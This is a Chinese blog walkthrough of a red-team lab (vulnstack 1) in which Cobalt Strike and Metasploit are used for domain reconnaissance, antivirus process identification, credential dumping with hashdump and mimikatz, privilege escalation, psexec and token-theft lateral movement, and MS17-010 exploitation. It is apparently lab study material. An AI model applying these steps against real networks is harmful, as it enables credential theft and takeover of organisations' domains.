CS上线后对目标主机进行信息收集
ATT&CK实战-红日安全vulnstack(一) - soapffz’s blog
1 | whoami |
查看是什么操作系统&系统版本
系统中文:systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本"
系统英文:systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
查询系统体系架构:echo % PROCESSOR_ARCHITECTURE%
查询已安装的软件及版本
1 | wmic product get name,version |
在 win10
中,输入 wmic /?
会提示 wmic
已弃用,但在 server2012R2
,win7
等版本中可以正常使用
powershell
中可替代该命令的是 Get-WmiObject
:
1 | Get-WmiObject -class win32_product | Select-Object -property name,version |
查询进程及服务
1 | tasklist 默认显示映像名称,PID,会话名,会话,内存使用 |
常见的杀软进程:
进程名 | 软件 |
---|---|
360sd.exe | 360 杀毒 |
360tray.exe | 360 实时保护 |
ZhuDongFangYu.exe | 360 主动防御 |
KSafeTray.exe | 金山卫士 |
SafeDogUpdateCenter.exe | 安全狗 |
McAfee | McShield.exe |
egui.exe | NOD32 |
AVP.exe | 卡巴斯基 |
avguard.exe | 小红伞 |
bdagent.exe | BitDefender |
域信息收集
判断是否存在域
1 | ipconfig /all 查看DNS服务器 |
查看时间服务器
1 | net time /domain |
发现能够执行,说明此台机器在域中 (若是此命令在显示域处显示 WORKGROUP,则不存在域,若是报错:发生系统错误 5,则存在域,但该用户不是域用户)
1 | 查询当前的登录域与用户信息:net config workstation |
查找域控
1 | nslookup + 域名 |
查询域控和用户信息
1 | net user /domain 查看当前域的所有用户 |
查看域控,升级为域控时,本地账户也成为域管:
1 | net localgroup administrators /domain |
1 | 获取域密码信息:net accounts /domain |
1 | 获取域信任信息 (cs 里执行提示不是内部或外部命令):nltest /domain_trusts |
获取到一个 cs
的 beacon
后可以目标内网情况和端口开放情况
在 beacon
上右键 -> 目标 -> 选择 net view
或者 port scan
:
选择前者执行:
用 cs
的 hashdump
读内存密码:hashdump
,用 mimikatz
读注册表密码:logonpasswords
在凭证信息一栏可以清楚查看:
如果权限不够可以提权,提权插件:ElevateKit
额外增加 ms14-058
、ms15-051
、ms16-016
、uac-schtasks
四种提权方式
抓取密码后可以先探测内网其他主机:
ping
方法:
1 | for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.72.%I | findstr "TTL=" |
最简单的直接 arp -a
查看也可以,这里还推荐一个好用工具 Ladon
Ladon
作者是 k8gege
,它是一个大型内网渗透扫描器并且支持 cs
脚本形式
cs
要使用的话只需要下载其中的 Ladon.exe
和 Ladon.cna
即可运行基本功能
查看帮助:
扫描网段内存活主机信息:Ladon 192.168.72.0/24 OsScan
1 | Ladon` 还有很多使用功能,比如扫描 `MS17-010`:`Ladon 192.168.72.0/24 MS17010 |
其他的功能可以自己去尝试
域探测差不多了还可以使用 BloodHound
这款域渗透分析工具来分析攻击路径
BloodHound 介绍:
BloodHound 是一种单页的 JavaScript 的 Web 应用程序,构建在 Linkurious 上,用 Electron 编译,NEO4J 数据库 PowerShell/C# ingestor.BloodHound 使用可视化图来显示 Active Directory 环境中隐藏的和相关联的主机内容。攻击者可以使用 BloodHound 轻松识别高度复杂的攻击路径,否则很难快速识别。防御者可以使用 BloodHound 来识别和防御那些相同的攻击路径。蓝队和红队都可以使用 BloodHound 轻松深入了解 Active Directory 环境中的权限关系。
横向移动展开目录
这里有很多种方式,可以:
- cs 上开通 socks 通道,在攻击机上用 proxychains 将攻击机的 msf 代入内网,但是 cs 的 socks 代理不稳定
- ew 添加转接隧道,在攻击机上用 proxychains 将攻击机的 msf 代入内网
- cs 派生到 msf,msf 使用 socks4a 代理进内网,但是并不稳定
- cs 派生到 msf,msf 使用使用 autoroute 添加路由进内网
- 用 frp 创建 socks5 代理
我后面会专门写一篇文章来写各种带入方式,本篇篇幅过长,就不全部使用了
SMB Beacon展开目录
另外这里还要介绍下 cs
派生 SMB Beacon
SMB Beacon 使用命名管道通过父级 Beacon 进行通讯,当两个 Beacons 链接后,子 Beacon 从父 Beacon 获取到任务并发送。因为链接的 Beacons 使用 Windows 命名管道进行通信,此流量封装在 SMB 协议中,所以 SMB Beacon 相对隐蔽,绕防火墙时可能发挥奇效
简单来说,SMB Beacon 有两种方式
第一种直接派生一个孩子,目的为了进一步盗取内网主机的 hash
新建一个 Listener
,payload
设置为 Beacon SMB
:
在已有的 Beacon上
右键 Spawn
(生成会话 / 派生),选择创建的 smb beacon
的 listerner
:
选择后会反弹一个子会话,在 external
的 ip
后面会有一个链接的小图标:
在图标视图中:
这就是派生的 SMB Beacon
,当前没有连接
可以在主 Beacon
上用 link host
连接它,或者 unlink host 断开它
psexec 使用凭证登录其他主机展开目录
前面横向探测已经获取到内网内的其他 Targets
以及读取到的凭证信息
于是可以尝试使用 psexec
模块登录其他主机
右键选择一台非域控主机 ROOT-TVI862UBEH
的 psexec
模块:
在弹出的窗口中选择使用 god.org
的 Administrator
的凭证信息
监听器选择刚才创建的 smb beacon
,会话也选择对应的 smb beacon
的会话:
可以看到分别执行了
1 | rev2self |
这几条命令,执行后得到了 ROOT-TVI862UBEH
这台主机的 beacon
如法炮制得到了域控主机 OWA
的 beacon
:
token 窃取展开目录
除了直接使用获取到的 hash
值,也可以直接窃取 GOD\Administrator
的 token
来登录其他主机
选择 beacon
右键 -> 目标 -> 进程列表
选择 GOD\Administrator
的 token
盗取:
然后在选择令牌处勾选使用当前 token
即可:
效果和前面是一样的
cs 派生 msf 横向移动展开目录
前面 psexec
能迅速地获得域控主机的 beacon
是因为我们读取到了域管理员账号密码的 hash
但是一般情况下,我们是获取不到的,所以多种方法都需要学会使用
cs
和 msf
联动的话,可以使用 cs
开启 socks
,然后 msf
将代理设置为此代理进行扫描
也可以直接用 cs
派生一个 msf
的 meterpreter
会话,此处使用后者
cs
与 msf
联动在 cs
的使用这篇文章中已经介绍过,此处不再赘述
1 | msf` 获得 `meterpreter` 会话后,首先查看当前路由:`run get_local_subnets |
然后添加对应网段:run autoroute -s 192.168.72.0/24
添加路由段
然后去使用 ms17-010
的模块,例如:
1 | auxiliary/admin/smb/ms17010command |
等去攻击域内其他主机即可。
- Post link: http://example.com/2021/11/14/%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F%E5%AD%A6%E4%B9%A0/
- Copyright Notice: All articles in this blog are licensed under unless otherwise stated.
若没有本文 Issue,您可以使用 Comment 模版新建。